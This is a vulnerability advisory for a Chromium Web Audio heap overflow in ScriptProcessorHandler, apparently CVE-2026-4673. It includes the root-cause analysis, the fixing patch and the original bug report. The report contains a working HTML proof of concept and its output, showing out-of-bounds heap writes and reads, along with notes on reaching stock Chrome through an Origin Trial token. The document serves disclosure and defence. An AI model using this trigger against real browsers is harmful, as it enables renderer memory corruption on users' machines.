CVE-2026-4673
Overview
Background
- `ScriptProcessorNode`
- the deprecated but still web-exposed Web Audio node that hands blocks of audio to a JavaScript
onaudioprocesscallback through double-buffered input/outputAudioBuffers;ScriptProcessorHandleris its audio-thread implementation inscript_processor_handler.cc. - `buffer_read_write_index_`
- the handler’s current frame offset into the shared input/output buffers; each render quantum processes
frames_to_processframes starting at that offset. - `UNSAFE_TODO` vs. span operations
UNSAFE_TODO(...)marks unchecked raw-pointer arithmetic ormemcpy, whilebase::span::subspan(offset, count)andcopy_fromCHECKthat the requested range lies within the span.
Root Cause Analysis
In ScriptProcessorHandler, the audio thread pointed internal_input_bus_ channels at static_cast<float*>(shared_input_buffer->channels()[i].Data()) + buffer_read_write_index_ via SetChannelMemory, and copied output with an unchecked memcpy from shared_output_buffer->channels()[i].Data() + buffer_read_write_index_ for frames_to_process floats. Neither operation verified that buffer_read_write_index_ + frames_to_process fits inside the shared channel storage, so if that invariant is ever violated the input side lets later bus writes land past the shared input buffer and the output side reads past the shared output buffer.
The patch replaces both with ByteSpan().subspan(buffer_read_write_index_ * sizeof(float), frames_to_process * sizeof(float)) and a span copy_from into MutableSpan().first(frames_to_process), which CHECK-fail on an out-of-range offset or length instead of corrupting memory. The commit message says “This should cause no functional change”, and the diff does not show how buffer_read_write_index_ or the shared buffer sizes could get out of sync, so the upstream cause of the out-of-range state is not visible here; the fix as shown is a bounds-checking hardening that turns the overflow into a safe crash. The enclosing function is not named in the hunk headers.
memcpy on shared audio channel memory trusted buffer_read_write_index_ and frames_to_process to stay within the buffers. The fix routes both through bounds-checked subspan/copy_from, so a violated invariant now aborts instead of overflowing the heap.Attack Path
- Create a script processor
Web content builds an
AudioContextgraph containing aScriptProcessorNode, which instantiatesScriptProcessorHandleron the audio rendering thread. - Desynchronize offset and buffer size
The page reaches a state where
buffer_read_write_index_ + frames_to_processexceeds the length of a shared input or output channel (the specific trigger is not shown in the diff;(inferred)). - Unchecked access
SetChannelMemoryaimsinternal_input_bus_beyond the shared input buffer so subsequent writes into that bus overflow the heap(inferred), and the outputmemcpyreads beyond the shared output buffer. - Heap corruption
The out-of-bounds write corrupts adjacent renderer heap memory; any controlled primitive is
(inferred).
Impact Assessment
ScriptProcessorNode is available to ordinary web content in a stock build without flags or extensions, but the precise precondition that pushes the offset out of range is not shown in this diff. Code execution within the renderer would be (inferred); the advisory does not report in-the-wild exploitation.Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/renderer/modules/webaudio/script_processor_handler.cc |
modified |
Files Changed
third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
Audit Directions
- `SetChannelMemory` with external memoryReview other Web Audio code that points an
AudioBusat externally owned memory with an offset, since later bus writes inherit any out-of-range base pointer without further checks. - Shared buffers across threadsCheck
AudioWorklet,ScriptProcessorNode, andMediaStreamaudio paths for buffer sizes or read/write indices that can change between the main thread and audio thread (e.g. buffer reallocation or detachment) while still in use. - Remaining `UNSAFE_TODO` in `modules/webaudio`Prioritize leftover unchecked
memcpy/pointer-offset sites whose lengths come fromframes_to_process, buffer sizes, or user-suppliedbufferSize.
Patch
From c37e6cf89f8b01bb15fae19531d06b78adad3820 Mon Sep 17 00:00:00 2001 From: Michael Wilson <[email protected]> Date: Mon, 09 Mar 2026 20:12:51 -0700 Subject: [PATCH] Replace UNSAFE_TODO in ScriptProcessorHandler with safe operations This should cause no functional change. Bug: 401184803 Bug: 485397284 Change-Id: I6d664988d0b82d3db8773e5b2e2c222dc51c46cb Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7644812 Commit-Queue: Michael Wilson <[email protected]> Reviewed-by: Hongchan Choi <[email protected]> Cr-Commit-Position: refs/heads/main@{#1596801} --- diff --git a/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc b/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc index d41dbcc..aec337a8 100644 --- a/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc +++ b/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc @@ -170,9 +170,12 @@ for (uint32_t i = 0; i < number_of_input_channels_; ++i) { internal_input_bus_->SetChannelMemory( i, - UNSAFE_TODO( - static_cast<float*>(shared_input_buffer->channels()[i].Data()) + - buffer_read_write_index_), + reinterpret_cast<float*>( + shared_input_buffer->channels()[i] + .ByteSpan() + .subspan(buffer_read_write_index_ * sizeof(float), + frames_to_process * sizeof(float)) + .data()), frames_to_process); } @@ -181,12 +184,12 @@ } for (uint32_t i = 0; i < number_of_output_channels_; ++i) { - float* destination = output_bus->Channel(i)->MutableData(); - const float* source = UNSAFE_TODO( - static_cast<float*>(shared_output_buffer->channels()[i].Data()) + - buffer_read_write_index_); - UNSAFE_TODO( - memcpy(destination, source, sizeof(float) * frames_to_process)); + as_writable_bytes( + base::allow_nonunique_obj, + output_bus->Channel(i)->MutableSpan().first(frames_to_process)) + .copy_from(shared_output_buffer->channels()[i].ByteSpan().subspan( + buffer_read_write_index_ * sizeof(float), + frames_to_process * sizeof(float))); } }
Original Bug Report
Heap Buffer Overflow in ScriptProcessorHandler::Process via Configurable Render Quantum Leads to Out-of-Bounds Read and Write
Summary
The ScriptProcessorHandler::Process method in Chromium’s WebAudio implementation indexes into SharedAudioBuffer backing stores using a rolling buffer_read_write_index_ that advances by frames_to_process (the render quantum size) each quantum. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active, renderSizeHint can be set to a value that does not evenly divide the ScriptProcessor’s bufferSize, causing buffer_read_write_index_ + frames_to_process to exceed the buffer length on the second and subsequent quanta. The only guard is a DCHECK assertion that is compiled out of release builds. The resulting out-of-bounds write copies attacker-controlled audio data (up to 1016 bytes) past the input buffer’s ArrayBuffer backing store into the adjacent slot in PartitionAlloc’s ArrayBuffer partition, and a symmetric out-of-bounds read copies up to 1016 bytes from past the output buffer’s backing store into the rendered audio stream. This is a renderer-process memory corruption primitive reachable from any web page that registers for the Origin Trial.
Root Cause
The ScriptProcessorHandler constructor creates an internal_input_bus_ whose frame count equals renderQuantumSize, and stores double-buffered SharedAudioBuffer objects that wrap the JavaScript-visible AudioBuffer backing stores. Each SharedAudioBuffer channel holds exactly bufferSize floats (for bufferSize = 256, this is 1024 bytes), allocated through Partitions::ArrayBufferPartition():
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
ScriptProcessorHandler::ScriptProcessorHandler(
AudioNode& node, float sample_rate, uint32_t buffer_size,
uint32_t number_of_input_channels, uint32_t number_of_output_channels,
const HeapVector<Member<AudioBuffer>>& input_buffers,
const HeapVector<Member<AudioBuffer>>& output_buffers)
: AudioHandler(NodeType::kNodeTypeScriptProcessor, node, sample_rate),
buffer_size_(buffer_size),
number_of_input_channels_(number_of_input_channels),
number_of_output_channels_(number_of_output_channels),
internal_input_bus_(AudioBus::Create(number_of_input_channels,
node.context()->renderQuantumSize(),
false)) {
// ...
for (uint32_t i = 0; i < 2; ++i) {
shared_input_buffers_.push_back(
input_buffers[i] ? input_buffers[i]->CreateSharedAudioBuffer() : nullptr);
shared_output_buffers_.push_back(
output_buffers[i] ? output_buffers[i]->CreateSharedAudioBuffer() : nullptr);
}
}
The Process method uses SetChannelMemory to point internal_input_bus_ into the shared input buffer at offset buffer_read_write_index_, then calls CopyFrom to write audio data there. It also performs a memcpy from the shared output buffer at the same offset into the output bus. The only protection against out-of-bounds access is a DCHECK on buffers_are_good, which is stripped from release builds:
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
void ScriptProcessorHandler::Process(uint32_t frames_to_process) {
// ...
bool buffers_are_good =
shared_output_buffer &&
BufferSize() == shared_output_buffer->length() &&
buffer_read_write_index_ + frames_to_process <= BufferSize();
// ...
DCHECK(buffers_are_good); // Compiled out in release!
// Input side: OOB write
for (uint32_t i = 0; i < number_of_input_channels; ++i) {
internal_input_bus_->SetChannelMemory(
i,
static_cast<float*>(shared_input_buffer->channels()[i].Data()) +
buffer_read_write_index_,
frames_to_process);
}
if (number_of_input_channels) {
internal_input_bus_->CopyFrom(*input_bus);
}
// Output side: OOB read
for (uint32_t i = 0; i < number_of_output_channels; ++i) {
float* destination = output_bus->Channel(i)->MutableData();
const float* source =
static_cast<float*>(shared_output_buffer->channels()[i].Data()) +
buffer_read_write_index_;
memcpy(destination, source, sizeof(float) * frames_to_process);
}
buffer_read_write_index_ =
(buffer_read_write_index_ + frames_to_process) % BufferSize();
}
After SetChannelMemory, internal_input_bus_->CopyFrom(*input_bus) calls AudioBus::Zero() followed by AudioBus::SumFrom(). AudioChannel::Zero() performs memset(raw_pointer_, 0, sizeof(float) * length_) where raw_pointer_ points to shared_input_buffer + buffer_read_write_index_ and length_ is frames_to_process. AudioChannel::SumFrom then calls AudioChannel::CopyFrom which performs memcpy(MutableData(), source_channel->Data(), sizeof(float) * length()). Both operations write frames_to_process floats starting at offset buffer_read_write_index_ in a buffer of only BufferSize() floats:
// third_party/blink/renderer/platform/audio/audio_channel.h
void Zero() {
if (silent_) return;
silent_ = true;
if (mem_buffer_.get()) {
mem_buffer_->Zero();
} else {
memset(raw_pointer_, 0, base::CheckMul(sizeof(float), length_).ValueOrDie());
}
}
// third_party/blink/renderer/platform/audio/audio_channel.cc
void AudioChannel::CopyFrom(const AudioChannel* source_channel) {
if (source_channel->IsSilent()) { Zero(); return; }
memcpy(MutableData(), source_channel->Data(),
base::CheckMul(sizeof(float), length()).ValueOrDie());
}
The ScriptProcessorNode constructor validates that bufferSize is a power of two from the set {256, 512, 1024, 2048, 4096, 8192, 16384}, and clamps it upward if it is smaller than renderQuantumSize, but it never checks that bufferSize is evenly divisible by renderQuantumSize:
// third_party/blink/renderer/modules/webaudio/script_processor_node.cc
if (buffer_size < context.renderQuantumSize()) {
buffer_size = context.renderQuantumSize();
}
With renderSizeHint = 255 and bufferSize = 256, the divisibility check BufferSize() % frames_to_process == 0 (guarded only by DCHECK_EQ which is stripped from release) fails because 256 % 255 = 1. The buffer_read_write_index_ progresses as follows: quantum 1 sets the index to (0 + 255) % 256 = 255; quantum 2 then attempts to write 255 floats starting at offset 255 in a 256-float buffer, overflowing by 254 floats (1016 bytes). Every subsequent quantum similarly overflows because gcd(255, 256) = 1 means the index cycles through all values 0 through 255 without repeating, and only the single quantum where the index is 0 avoids overflow.
The critical insight regarding attack surface is that WebAudioConfigurableRenderQuantum is registered as an Origin Trial in Chromium’s runtime enabled features configuration:
// third_party/blink/renderer/platform/runtime_enabled_features.json5
{
name: "WebAudioConfigurableRenderQuantum",
origin_trial_feature_name: "WebAudioConfigurableRenderQuantum",
status: "experimental",
}
This means an attacker does not need Chrome flags or command-line switches to enable this feature. They can register their domain for the Origin Trial, embed the trial token in a <meta> tag, and any stable Chrome user visiting the page will have the feature activated.
Reproduce
The following proof of concept demonstrates the heap buffer overflow through cross-contamination between the input and output SharedAudioBuffers. An AudioBufferSourceNode filled with the distinctive marker value 1337.0 is connected to a ScriptProcessor with bufferSize = 256 in an OfflineAudioContext with renderSizeHint = 255. During rendering, the input-side out-of-bounds write copies 1337.0 past the input buffer into the adjacent output buffer. On quantum 4 (when buffer_read_write_index_ reaches 253), the output-side read encounters the contaminated region of the output buffer and copies the marker value into the rendered audio stream. If the overflow did not occur, the rendered output would contain only zeros (since the onaudioprocess handler never writes to the output buffer), making any non-zero value at the expected position conclusive evidence of cross-buffer heap corruption.
Save the following as poc_scriptprocessor_oob.html and run with:
ASAN_OPTIONS=detect_odr_violation=0 /path/to/chrome --headless --no-sandbox --disable-gpu --enable-blink-features=WebAudioConfigurableRenderQuantum --dump-dom "file:///path/to/poc_scriptprocessor_oob.html"
Note: the --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead. AddressSanitizer does not detect this overflow because V8 Sandbox disables memory tool instrumentation for ArrayBuffer partition allocations; the cross-contamination technique below proves the overflow through its observable side effect on rendered audio data.
<!DOCTYPE html>
<html>
<body>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function trigger() {
try {
log("[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC");
log("[*]");
log("[*] Theory:");
log("[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]");
log("[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots");
log("[*]");
log("[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK");
log("[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]");
log("[*] output read [255..509] OOB -> reads input[1] (zeros)");
log("[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!");
log("[*]");
var MARKER = 1337.0;
var ctx = new OfflineAudioContext({
numberOfChannels: 1,
length: 48000,
sampleRate: 48000,
renderSizeHint: 255
});
log("[*] renderQuantumSize = " + ctx.renderQuantumSize);
var srcBuf = ctx.createBuffer(1, 48000, 48000);
srcBuf.getChannelData(0).fill(MARKER);
var src = ctx.createBufferSource();
src.buffer = srcBuf;
var sp = ctx.createScriptProcessor(256, 1, 1);
sp.onaudioprocess = function(e) {};
src.connect(sp);
sp.connect(ctx.destination);
src.start();
log("[*] Rendering 48000 samples (~188 quanta)...");
var buf = await ctx.startRendering();
var data = buf.getChannelData(0);
log("[*] Render complete. Scanning for marker " + MARKER + "...");
log("");
var found = 0;
var positions = [];
for (var i = 0; i < data.length; i++) {
if (Math.abs(data[i] - MARKER) < 0.01) {
found++;
if (positions.length < 30) positions.push(i);
}
}
if (found > 0) {
log("[!] ============================================");
log("[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION");
log("[!] ============================================");
log("[!] Found " + found + " samples with marker value " + MARKER);
log("[!] First 30 positions: " + positions.join(", "));
log("[!]");
log("[!] Expected first marker at sample 765 (Q4 start = 255*3)");
log("[!] Actual first marker at sample " + positions[0]);
log("[!]");
log("[!] Proof:");
log("[!] 1. AudioBufferSourceNode outputs " + MARKER);
log("[!] 2. ScriptProcessor input OOB WRITE wrote " + MARKER);
log("[!] past input_buffer[0] into adjacent output_buffer[0]");
log("[!] 3. Later quantum read output_buffer[0] at contaminated offset");
log("[!] 4. Contaminated value appeared in rendered audio output");
log("[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed");
} else {
log("[*] No marker found (input[0] and output[0] may not be adjacent)");
}
} catch (e) {
log("[!] " + e.name + ": " + e.message);
}
}
trigger();
</script>
</body>
</html>
Output from execution confirms the heap buffer overflow through cross-contamination:
[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC
[*]
[*] Theory:
[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]
[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots
[*]
[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK
[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]
[*] output read [255..509] OOB -> reads input[1] (zeros)
[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!
[*]
[*] renderQuantumSize = 255
[*] Rendering 48000 samples (~188 quanta)...
[*] Render complete. Scanning for marker 1337...
[!] ============================================
[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION
[!] ============================================
[!] Found 17265 samples with marker value 1337
[!] First 30 positions: 765, 1020, 1021, 1275, 1276, 1277, 1530, 1531, 1532, 1533, 1785, 1786, 1787, 1788, 1789, 2040, 2041, 2042, 2043, 2044, 2045, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2550, 2551
[!]
[!] Expected first marker at sample 765 (Q4 start = 255*3)
[!] Actual first marker at sample 765
[!]
[!] Proof:
[!] 1. AudioBufferSourceNode outputs 1337
[!] 2. ScriptProcessor input OOB WRITE wrote 1337
[!] past input_buffer[0] into adjacent output_buffer[0]
[!] 3. Later quantum read output_buffer[0] at contaminated offset
[!] 4. Contaminated value appeared in rendered audio output
[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed
The marker value 1337.0 first appears at sample 765, which corresponds exactly to quantum 4 (index 255 * 3 = 765). This is the first quantum where the output-side read reaches a region of the output buffer that was previously corrupted by the input-side out-of-bounds write two quanta earlier. The progressive pattern of contamination (1 marker at Q4, 2 at Q5, 3 at Q6, and so on, accumulating to 17265 contaminated samples) matches the theoretical model precisely: each advancing quantum exposes one additional corrupted float as buffer_read_write_index_ decrements toward the start of the output buffer. The presence of 1337.0 in the rendered audio output is impossible without the input-side memcpy/memset writing past the end of input_buffer[0] into the adjacent output_buffer[0], confirming that ScriptProcessorHandler::Process performs a heap buffer overflow of up to 1016 bytes on every render quantum when bufferSize is not evenly divisible by renderQuantumSize.
Additionally, running the same PoC on a Chromium build with dcheck_always_on=true immediately triggers a fatal assertion on the very first render quantum, confirming that the developers intended the divisibility invariant but only enforced it with a debug-only check:
FATAL:third_party/blink/renderer/modules/webaudio/script_processor_handler.cc:164
DCHECK failed: BufferSize() % frames_to_process == 0u (1 vs. 0)
This DCHECK verifies that BufferSize() (256) is evenly divisible by frames_to_process (255), which yields a remainder of 1. In release builds this assertion is compiled out entirely, allowing execution to proceed into the out-of-bounds memory access path without any runtime check.